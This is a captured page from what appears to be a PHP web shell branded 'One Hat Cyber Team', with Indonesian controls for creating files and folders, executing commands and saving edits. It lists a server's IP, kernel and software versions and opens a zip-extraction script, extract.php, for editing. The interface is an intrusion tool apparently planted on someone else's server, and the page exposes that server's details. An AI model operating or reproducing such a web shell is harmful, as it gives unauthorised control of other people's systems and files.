⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.1
Server IP:
185.238.29.86
Server:
Linux server2 6.8.12-6-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-6 (2024-12-19T19:05Z) x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.31
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
prestool
/
Edit File: extract.php
<?php if(!@include 'approve.php') die( "approve.php was not found!"); $startId = (int)$_POST['startId']; $batchsize = (int)$_POST['batchsize']; $zipfile = $_POST['zipfile']; $pos = strrpos($zipfile, "/"); $targetfolder = substr($zipfile, 0, $pos); $zip = new ZipArchive(); if(($result = $zip->open($zipfile)) !== true) colordie("Error opening zipfile: ".$ziperrors[$result]."!"); if (!is_writable("./")) colordie("No writing rights!"); $numFiles = $zip->numFiles; $lastId = $startId + $batchsize; $fileList = array(); $currentFile=''; for ($id = $startId; $id < min($numFiles, $lastId); $id++) { $currentFile = $zip->getNameIndex($id); if ($zip->extractTo($targetfolder, $currentFile) === false) { die(json_encode([ 'error' => true, 'message' => 'Extraction error - '.$zip->getStatusString(), 'file' => $currentFile, 'numFiles' => $numFiles, 'lastId' => $lastId, ])); } } $zip->close(); if ($lastId >= $numFiles) { // unlink($zipfile); } die(json_encode([ 'error' => false, 'numFiles' => $numFiles, 'lastId' => $lastId, 'example' => $targetfolder."--".$currentFile, ])); $ziperrors = [ ZipArchive::ER_EXISTS => "File already exists.", ZipArchive::ER_INCONS => "Zip archive inconsistent or corrupted.", ZipArchive::ER_INVAL => "Invalid argument.", ZipArchive::ER_MEMORY => "Memory allocation error.", ZipArchive::ER_NOENT => "Unable to find the file.", ZipArchive::ER_NOZIP => "Not a zip file or corrupted.", ZipArchive::ER_OPEN => "Can't open file. Check read access.", ZipArchive::ER_READ => "Read error.", ZipArchive::ER_SEEK => "Seek error.", ];
Simpan